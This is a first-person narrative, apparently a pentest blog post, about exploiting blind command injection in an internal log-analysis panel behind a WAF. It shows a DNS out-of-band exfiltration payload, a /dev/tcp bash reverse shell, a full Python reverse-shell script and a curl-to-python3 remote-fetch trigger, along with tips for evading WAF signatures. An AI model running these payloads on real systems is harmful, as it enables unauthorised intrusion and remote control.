The clock in the corner of my screen read 03:14. I finally saw that beautiful line in my nc -lvnp 4444 output: connect to [IP] from (UNKNOWN) [IP] 58234. But then... nothing. The cursor just sat there, mocking me. No prompt, no banner, just a hollow silence. I typed whoami, hit enter, and watched it vanish into a digital black hole. My eyes were bloodshot, my coffee had gone cold an hour ago, and that’s when it hit me: the simulation was over, and the real "hacking" discipline had begun.
I wasn't just dealing with a simple web app anymore. I was staring down a well-configured WAF, an EDR that actually knew its job, and some seriously annoying asymmetric network traffic.
The target was an innocent-looking "Log Analysis" panel used for internal resources. Every single quote or semicolon I threw at it got slapped away by the WAF. But you know how it goes, mate—if a dev puts the word "Log" in a feature, there’s a 90% chance an exec() or system() call is lurking somewhere under the hood. Our developer friend had decided to use system commands to filter logs, and I’d found the opening. The problem? The command was executing, but I couldn't see a thing. I was flying completely blind.
Tracking Shadows in the Dark (OOB Exfiltration)
Trying to confirm an exploit in a blind system is like looking for a black cat in a dark room when you're not even sure the cat exists. My first instinct was a classic ping, but the internal network was locked down—no ICMP allowed out. So, I went back to the old reliable: DNS. If packets can't get out, a DNS query usually finds a way to leak through.
I fired up tcpdump on my own server and prepped the payload:
# Payload: Triggering a DNS query to confirm command execution
`whoami`.my-domain.com
And... Bingo! Seeing root.my-domain.com pop up in my terminal gave me that same geeky rush we all live for. But knowing I was root wasn't enough; I needed that interactive shell.
Dancing with the WAF
The standard /bin/bash -i >& /dev/tcp/IP/PORT 0>&1 payload is basically WAF-bait these days. Any decent filter sees /dev/tcp and kills the connection instantly. I had to get a bit more creative. Sure, we usually think Base64 is the silver bullet, but sometimes even the base64 command itself is blacklisted. I decided to keep it low-level.
I knew the system had Python3. By using Python’s socket and os modules, I could craft a payload that was fragmented enough to slip past the WAF's signature checks. Instead of sending the whole thing as one massive string, I hosted a script on my server and piped it directly into Python via curl.
# Contents of 's.py' on my server:
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("MY_IP_ADDRESS",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/bash")
And the trigger command:
curl http://MY_IP_ADDRESS/s.py | python3
The shell landed... but then I hit that "dead shell" wall I mentioned earlier. The connection was established, the socket was open, but it was totally unresponsive. It was a ghost in the terminal.